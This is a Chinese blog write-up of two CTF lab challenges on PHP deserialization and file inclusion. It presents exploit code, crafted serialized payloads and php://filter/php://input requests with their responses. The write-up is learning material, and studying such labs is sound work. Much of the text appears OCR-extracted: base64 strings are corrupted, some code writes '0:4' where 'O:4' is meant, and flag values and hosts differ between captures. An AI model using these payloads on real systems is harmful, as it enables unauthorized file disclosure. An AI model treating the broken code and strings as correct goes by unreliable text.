

# PHP反序列化漏洞——云演

原创

正在过坎 于 2022-03-19 22:41:40 发布 1602 收藏 1

分类专栏: [网络基础](#) [小白入坑](#) [笔记](#) 文章标签: [php](#) [安全](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_46601374/article/details/123601152](https://blog.csdn.net/weixin_46601374/article/details/123601152)

版权



[网络基础 同时被 3 个专栏收录](#)

43 篇文章 1 订阅

订阅专栏



[小白入坑](#)

54 篇文章 2 订阅

订阅专栏



[笔记](#)

42 篇文章 0 订阅

订阅专栏

昨天搞了搞掌控的反序列化, 突然想到当时打CTF时老师给我们冲了个云演的靶场,

就去看了看, 也有反序列化漏洞

顺手搞搞加深一下印象

## PHP反序列化漏洞练习环境

此靶场为PHP反序列化漏洞练习环境, 点击下表中的链接进入环境进行练习。

1
2
3
4
5
6
7

CSDN @正在过坎

## 第一题

点进去后是这样的

```

<?php
class Demo {
    private $file = 'index.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'index.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+;/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>

```

CSDN @正在过坎

## PHP isset() 函数



**isset()** 函数用于检测变量是否已设置并且非 NULL。

如果已经使用 **unset()** 释放了一个变量之后，再通过 **isset()** 判断将返回 FALSE。

若使用 **isset()** 测试一个被设置成 NULL 的变量，将返回 FALSE。

同时要注意的是 null 字符 ("\\0") 并不等同于 PHP 的 NULL 常量。

还记得昨天的

php中有一类特殊的方法叫“Magic function”（魔术方法）， 这里我们着重关注以下几个：

**\_\_construct():** 当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。（构造函数）

**\_\_destruct():** 当对象被销毁时会自动调用。（析构函数）

**\_\_wakeup():** 如前所提，unserialize()时会自动调用。

根据源码可以得出

本题需要绕过一个**\_\_wakeup()**函数和一个正则匹配，才能显示出 **f15g\_1s\_here.php** 文件

绕过`__wakeup()`: 在反序列化执行之前，会先执行`__wakeup`这个魔术方法，所以需要绕过。

绕过`__wakeup()`是利用[CVE-2016-7124漏洞](#)，即反序列化时，如果表示对象属性个数的值大于真实的属性个数时就会跳过`__wakeup()`的执行。

我们要传入一个参数`flag`，并且将传入的值放入反序列化函数中执行，所以我们要传入的应该是一个序列化后的字符串，此时我们应该类`Demo`进行序列化

我很懒在线PHP上进行编写

```
<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

$flag = new Demo('f15g_1s_here.php');
$flag = serialize($flag);
$flag = str_replace('0:4', '0:+4', $flag);
$flag = str_replace(':1:', ':2:' , $flag);
echo base64_encode($flag);
?>
```

绕过正则：使用+可以绕过`preg_match()`，正则匹配这里匹配的是`O:4`，我们用`O:+4`即可绕过

```
1 <?php
2 class Demo {
3     private $file = 'Gu3ss_m3_h2h2.php';
4
5     public function __construct($file) {
6         $this->file = $file;
7     }
8
9     function __destruct() {
10        echo @highlight_file($this->file, true);
11    }
12
13    function __wakeup() {
14        if ($this->file != 'Gu3ss_m3_h2h2.php') {
15            //the secret is in the f15g_1s_here.php
16            $this->file = 'Gu3ss_m3_h2h2.php';
17        }
18    }
19 }
20
21 $flag = new Demo('f15g_1s_here.php');
22 $flag = serialize($flag);
23 $flag = str_replace('0:4', '0:+4', $flag);
24 $flag = str_replace(':1:', ':2:' , $flag);
25 echo base64_encode($flag);
26 ?>
```

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjojZjE1Z1xc19oZXJlLnBocCI7fQ==

CSDN @正在过坎

这就是base64编码后的序列化字符串

TzorNDoiRGVtbyl6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJILnBocCI7fQ==

get传参var可得flag。

```
← → ⚡ 不安全 | a46a49eb.lxctf.net/0.0/?var=TzorNDoiRGVtbyl6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJILnBocCI7f... A
<?php
$flag = "flag{05b8825669ae9dee519349e4a9edafca}";
?>
```

CSDN @正在过坎

**flag{05b8825669ae9dee519349e4a9edafca}**

## 第二题

进去以后什么都没有！！！！

← → ⚡ 不安全 | a86a8934.lxctf.net/0.1/

**you are not the number of bugku !**

CSDN @正在过坎

只能去看源码

```
you are not the number of bugku !
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user, 'r')==="welcome to the bugkuctf")){
    echo "hello admin!<br>";
    include($file); //hint.php
} else{
    echo "you are not admin ! ";
}
-->
```

CSDN @正在过坎

审计代码，发现本题有以下要求：

1) get方式传递三个参数

2) 存在\$user

3)读取的\$user文件内容==welcome to the bugkuctf

4)\$file要求为hint.php

所以在Burp的重放时，要满足前三点

get传参是： /0.1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

post传参是： welcome to the bugkuctf

请求

Raw 参数 头 Hex

GET /0.1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

HTTP/1.1

Host: a86a8934.lxctf.net

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Length: 23

welcome to the bugkuctf

响应

Raw 头 Hex Render

HTTP/1.1 200 OK

Content-Length: 731

Content-Type: text/html

Date: Sat, 19 Mar 2022 14:09:33 GMT

Server: Apache/2.4.7 (Ubuntu)

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.9-1ubuntu4.17

Connection: close

hello

admin<br>PD9waHAgIA0KY2xhc3MgRmxhZ3svL2ZsYWcucGhwICANCiAgICBwdWJsaWMgJGZpbGU7ICANCiAgICBwdWJsaWMgZnVuY3Rp24gX190b3N0cmiuZygepeyAgDQoqlCAglCAglGlmKGz2V0KCR0aGzlT5maWxlKS17CAvL+i/memHjCR0aGzlT5maWxlOWPr+S7peiuuve9r+uS4umZsYWcucGhwDQoglCAglCAglCB1Y2hvIGZpbGVfZ2V0XNvbnnRzKCR0aGzlLT5maWxlKTsgly/mmL7npLpmhGFnLnBoc0WGheWuu00KICAgzVNnobyAiPGJyPi7DQogIHJidHVybAoImdvb2QiKTSNCiAgICAgfSAgDQoglCAgfSAgD0p9ICANCj8+ICA=

<!--

\$user = \$\_GET["txt"];

\$file = \$\_GET["file"];

\$pass = \$\_GET["password"];

if(isset(\$user)&&\$file\_get\_contents(\$user,'')=="welcome to the bugkuctf") {

echo "hello admin<br>";

include(\$file); //hint.php

}else{

echo "you are not admin ! ";

}

-->

CSDN @正在过坎

PD9waHAgIA0KY2xhc3MgRmxhZ3svL2ZsYWcucGhwICANCiAgICBwdWJsaWMgJGZpbGU7ICANCiAgICBwdWJsaWMgZnVuY3Rp24gX190b3N0cmiuZygepeyAgDQoqlCAglCAglGlmKGz2V0KCR0aGzlT5maWxlKS17CAvL+i/memHjCR0aGzlT5maWxlOWPr+S7peiuuve9r+uS4umZsYWcucGhwDQoglCAglCAglCB1Y2hvIGZpbGVfZ2V0XNvbnnRzKCR0aGzlLT5maWxlKTsgly/mmL7npLpmhGFnLnBoc0WGheWuu00KICAgzVNnobyAiPGJyPi7DQogIHJidHVybAoImdvb2QiKTSNCiAgICAgfSAgDQoglCAgfSAgD0p9ICANCj8+ICA=

这不用说就是base64了

转码吧

### AmanCTF - BASE64编码解码

在线BASE64编码解码

```
PD9waHAgIA0KY2xhc3MgRmxhZ3svL2ZsYWcucGhwICANCiAgICBwdWJsaWMgJGZpbGU7ICANCiAgICBwdWJsaWMgZnVu  
Y3Rp24gX190b3N0cmIuZygpeyAgDQogICAgICAgIGmKGz2V0KCR0aGzLT5maWxIKSI7ICAvL+i/memHjCROaGzLT5maWx  
IIOWPr+S7peiuvue9ruS4umZsYWcucGhwDQogICAgICAgICAgICBIY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGzLT5maWxIKT  
sgLy/mmL7npLpmbGFnlLnBocOWGheWuuQ0KICAgZWNoobyAiPGJyPiI7DQogIHJldHVybAoImdvb2QiKTsNCiAgICAgICAgfSA  
gDQogICAgfSAgDQp9ICANCI8+ICA=
```

加密

解密

```
<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){ //这里$this->file 可以设置为flag.php  
            echo file_get_contents($this->file); //显示flag.php内容  
        echo "<br>";  
        return ("good");  
    }  
}
```

CSDN @正在过坎

代码如下：

```
<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){ //这里$this->file 可以设置为flag.php  
            echo file_get_contents($this->file); //显示flag.php内容  
        echo "<br>";  
        return ("good");  
    }  
}  
?>
```

在线php

点击运行 PHP 在线工具 复制 清空 邮件反馈

```
1 <?php
2 class Flag{//flag.php
3     public $file;
4     public function __toString(){
5         if(isset($this->file)){ //这里$this->file 可以设置为flag.php
6             echo file_get_contents($this->file); //显示flag.php内容
7         echo "<br>";
8         return ("good");
9     }
10    }
11 }
12 ?>
```

CSDN @正在过坎

啥都没解出来，哈哈哈哈

仔细看代码，好想在说flag.php

将hint.php改为flag.php

请求

Raw 参数 头 Hex

```
GET /0.1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=flag.php&password=
HTTP/1.1
Host: a06a0934.lxctf.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.51 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 23

welcome to the bugkuctf
```

响应

Raw 头 Hex Render

```
HTTP/1.1 200 OK
Content-Length: 44
Content-Type: text/html
Date: Sat, 19 Mar 2022 14:22:25 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.17
Connection: close

hello admin!<br>不能现在就给你flag哦
```

CSDN @正在过坎

又被骗了！！！现在不给啥时候给！！！

试试index.php，还真有收获

## 请求

Raw 参数 头 Hex

GET  
 /0.1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php&password=  
 HTTP/1.1  
 Host: a86a8934.lxctf.net  
 Upgrade-Insecure-Requests: 1  
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)  
 Chrome/99.0.4844.51 Safari/537.36  
 Accept:  
 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,  
 application/signed-exchange;v=b3;q=0.9  
 Accept-Encoding: gzip, deflate  
 Accept-Language: zh-CN,zh;q=0.9  
 Connection: close  
 Content-Length: 23

welcome to the buguctf

## 响应

Raw 头 Hex Render

HTTP/1.1 200 OK  
 Content-Length: 1511  
 Content-Type: text/html  
 Date: Sat, 19 Mar 2022 14:18:28 GMT  
 Server: Apache/2.4.7 (Ubuntu)  
 Vary: Accept-Encoding  
 X-Powered-By: PHP/5.5.9-1ubuntu4.17  
 Connection: close  
  
 hello  
 admin!<br>PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSjD0yAgDQokcGFzc3dvcnQgPSAkX0dFVFsiG  
 ZmzsZJd0yAgDQokcGFzc3dvcnQgPSAkX0dFVFsiCAGfc3dvcnQiXTsgIA0KaWYoANzZXQo  
 JHR4dCkmJihmaWxI2d1f9jb250ZW50cygkdh0LcdyJyk9PT0id2VsY29tZSB0byB0aGUgYnV  
 na3VjdGYiKSI7ICANCiAgICBIY2hvICJoZWxsbyBhZG1pbIE8Ynl+IsglA0KICAgIGlmKHByZWdfb  
 WF0Y2goI9mbGFnlylsJGzbGUpxKxsGLyov4fmUdRVUkzph4znm0RmbGFn5a2X55y0DQoqIC  
 AgZWNobyA5LN6109546w5Zyo5bCx57uZ5L2gZmxhZ+WTpi7DQogICAgICAgIV4aXQoKTsgl  
 A0KICAgIH1bHNleyAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC  
 c3dvcnQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcnQpOyAgDQogICAgICAgICAgIVjaG8gJHBh3N3b  
 3JkOyAgLy/Ij6/ku6XInKjlj43luo/IJfljJbnmoTov4fnqlvkuk3ov5Tlm55mbGFnLnBocOeahOWAv  
 O+8jOW5tuWcqO/memHjOaYuekug0KICAgIHoGlA0KIVVsc2V7ICANCiAgICBIY2hvICJ5b3Ug  
 YXJII5vdCB0aGUgbnVtYmVylG9mIGJ1Z2t1CEgijsglA0KfSAgDQo/PiAgDQo8IS0tICANCIr1c2  
 VylD0gJF9HRVRblnR4dCJd0yAgDQokZmzsZSA9ICRfR0VUWyJmaWxII07ICANCIrwYXNzID0g  
 JF9HRVRblnBhc3N3b3JkII07ICANCImlkG1z2vOKCR1c2VtKSYmKGZpbGVfZ2V0X2NvbnnRbn  
 RzKCR1c2VtLcdyJyk9PT0id2VsY29tZSB0byB0aGUgYnVna3VjdGYiKSI7ICANCiAgICBIY2hvICJ  
 oZWxsbyBhZG1pbIE8Ynl+IsglA0KICAgICAgIV4aXZGUoJGzbGUpOyAvL2hpbnQucGhwICANC  
 n1lbHNleyAgDQogICAgZWNobyAieW91lGFyzSBub3QgYWRtaW4glSAiOyAgDQp9ICANCIAtLT  
 4gIA0K  
 </...  
 \$user = \$\_GET["txt"];  
 \$file = \$\_GET["file"];  
 \$pass = \$\_GET["password"];  
 if(isset(\$user)&&(file\_get\_contents(\$user,'')=="welcome to the buguctf")){  
 echo "hello admin!<br>";  
 include(\$file); // hint.php  
 }else{  
 echo "You are not admin!...";  
 }

CSDN @正在过坎

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSjD0yAgDQokcGFzc3dvcnQgPSAkX0dFVFsiG

## 再次解码

在线BASE64编码解码

0tZg0I9mDGFmElyIsJGzbGUpxKxsGLyov4fmUdRVUkzph4znm0RmbGFn5azX55y0DQogICAgZWNobyA5LN6109546w5zy  
 o5bCx57uZ5L2gZmxhZ+WTpi7DQogICAgICAgIV4aXQoKTsglA0KICAgIH1bHNleyAgDQogICAgICAgICAgICAgICAgICAgICAg  
 GUpxAgIA0KICAg  
 3N3b3JkOyAgLy/Ij6/ku6XInKjlj43luo/IJfljJbnmoTov4fnqlvkuk3ov5Tlm55mbGFnLnBocOeahOWAvO+8jOW5tuWcqO/memH  
 jOaYuekug0KICAgIHoGlA0KfWVsc2V7ICANCiAgICBIY2hvICJ5b3UgYXJII5vdCB0aGUgbnVtYmVylG9mIGJ1Z2t1CEgijsgl  
 A0KfSAgDQo/PiAgDQo8IS0tICANCIr1c2VtYlD0gJF9HRVRblnR4dCJd0yAgDQokZmzsZSA9ICRfR0VUWyJmaWxII07ICANCIr  
 wYXNzID0gJF9HRVRblnBhc3N3b3JkII07ICANCImlkG1z2vOKCR1c2VtKSYmKGZpbGVfZ2V0X2NvbnnRbnRzKCR1c2VtLy  
 dyJyk9PT0id2VsY29tZSB0byB0aGUgYnVna3VjdGYiKSI7ICANCiAgICBIY2hvICJ0ZWxsbyBhZG1pbIE8Ynl+IsglA0KICAgIC  
 GluY2x1ZGUoJGzbGUpOyAvL2hpbnQucGhwICANCn1lbHNleyAgDQogICAgZWNobyAieW91lGFyzSBub3QgYWRtaW4glSAiOy  
 AgDQp9ICANCIAtLT4gIA0K

加密

解密

```
if(isset($txt)&&(file_get_contents($txt,'')=="welcome to the buguctf")){  

    echo "hello admin!<br>";  

    if(preg_match("/flag/", $file)){ //过滤URL里的flag字眼  

        echo "不能现在就给你flag哦";  

        exit();  

    }else{  

        include($file);  

        $password = unserialize($password);  

        echo $password; //可以在反序列化的过程中返回flag.php的值，并在这里显示  

    }  

}
```

CSDN @正在过坎

```

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')=="welcome to the bugkuctf")){
    echo "hello admin!<br>";
    if(preg_match("/flag/", $file)){ //过滤URL里的flag字眼
        echo "不能现在就给你flag哦";
        exit();
    }else{
        include($file);
        $password = unserialize($password);
        echo $password; //可以在反序列化的过程中返回flag.php的值，并在这里显示
    }
}else{
    echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')=="welcome to the bugkuctf")){
    echo "hello admin!<br>";
    include($file); //hint.php
}else{
    echo "you are not admin ! ";
}
-->

```

```

1 <?php
2 $txt = $_GET["txt"];
3 $file = $_GET["file"];
4 $password = $_GET["password"];
5 if(isset($txt)&&(file_get_contents($txt,'r')=="welcome to the bugkuctf")){
6     echo "hello admin!<br>";
7     if(preg_match("/flag/", $file)){ //过滤URL里的flag字眼
8         echo "不能现在就给你flag哦";
9         exit();
10    }else{
11        include($file);
12        $password = unserialize($password);
13        echo $password; //可以在反序列化的过程中返回flag.php的值，并在这里显示
14    }
15 }else{
16     echo "you are not the number of bugku ! ";
17 }
18 ?>
19 <!--
20 $user = $_GET["txt"];
21 $file = $_GET["file"];
22 $pass = $_GET["password"];
23 if(isset($user)&&(file_get_contents($user,'r')=="welcome to the bugkuctf")){
24     echo "hello admin!<br>";
25     include($file); //hint.php
26 }else{
27     echo "you are not admin ! ";
28 }
29 -->

```

```

you are not the number of bugku !
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')=="welcome to the
bugkuctf")){
    echo "hello admin!<br>";
    include($file); //hint.php
}else{
    echo "you are not admin ! ";
}
-->

```

CSDN @正在过坎

真是俄罗斯套娃一个套一个

从源码中我们可以得知如下信息：

- 1) 对关键字flag进行了正则匹配
- 2) 在hint.php中定义了一个FLag类，其中有一个\_\_tostring方法，这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数。
- 3) \_\_tostring方法执行时，将变量\$file作为文件名输出文件内容，结合提示flag.php，猜测屏蔽的flag.php文件在此打开

4) 在index.php源码中看到了\$password的作用

5) 在else代码块中又包含了\$file,并且对\$password进行反序列化

总结成代码就是

```
<?php
class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){ //这里$this->file 可以设置为flag.php
            echo file_get_contents($this->file); //显示flag.php内容
        echo "<br>";
        return ("good");
    }
}
$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?>
```

```
1 <?php
2 class Flag{//flag.php
3     public $file;
4     public function __tostring(){
5         if(isset($this->file)){ //这里$this->file 可以设置为flag.php
6             echo file_get_contents($this->file); //显示flag.php内容
7         echo "<br>";
8         return ("good");
9     }
10 }
11 }
12 $a = new Flag();
13 $a->file = "flag.php";
14 echo serialize($a);
15 ?>
```

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

CSDN @正在过坎

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后我们把构造好的payload进行传参即可。

### Request

Raw Params Headers Hex

POST  
/0.1/?txt=php://input&file=hint.php&password=0:4:"Flag":1:{s:4:"file";s:  
8:"flag.php";} HTTP/1.1  
Host: 0254f2a1.yunyansec.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)  
Gecko/20100101 Firefox/47.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
DNT: 1  
Cookie:  
UM\_distinctid=17b7743ca65708-0bda3089b1f565-13666c4a-144000-17b7743ca665  
41  
X-Forwarded-For: 8.8.8.8  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 23  
  
welcome to the bugkuctf

### Response

Raw Headers Hex

HTTP/1.1 200 OK  
Content-Type: text/html  
Date: Thu, 02 Sep 2021 09:01:37 GMT  
Server: Apache/2.4.7 (Ubuntu)  
Vary: Accept-Encoding  
X-Powered-By: PHP/5.5.9-1ubuntu4.17  
Content-Length: 385  
Connection: close  
  
hello admin!  
<br> <?php  
\$flag = "flag[05b8825669ae9dee519349e4a9edadfa]";  
?><br>good  
<!--  
\$user = \$\_GET["txt"];  
\$file = \$\_GET["file"];  
\$pass = \$\_GET["password"];  
if(isset(\$user)&&(file\_get\_contents(\$user,'r')=="welcome to the bugkuctf")) {  
 echo "hello admin!<br>";  
 include(\$file); //hint.php  
} else {  
 echo "you are not admin ! ";  
}  
-->

[ ? ] [ < ] [ + ] [ > ] Type a search term

0 matches

先就两关吧！！快11点了我得赶快会宿舍

[ ? ] [ < ] [ + ] [ > ] Type a search term

0 matches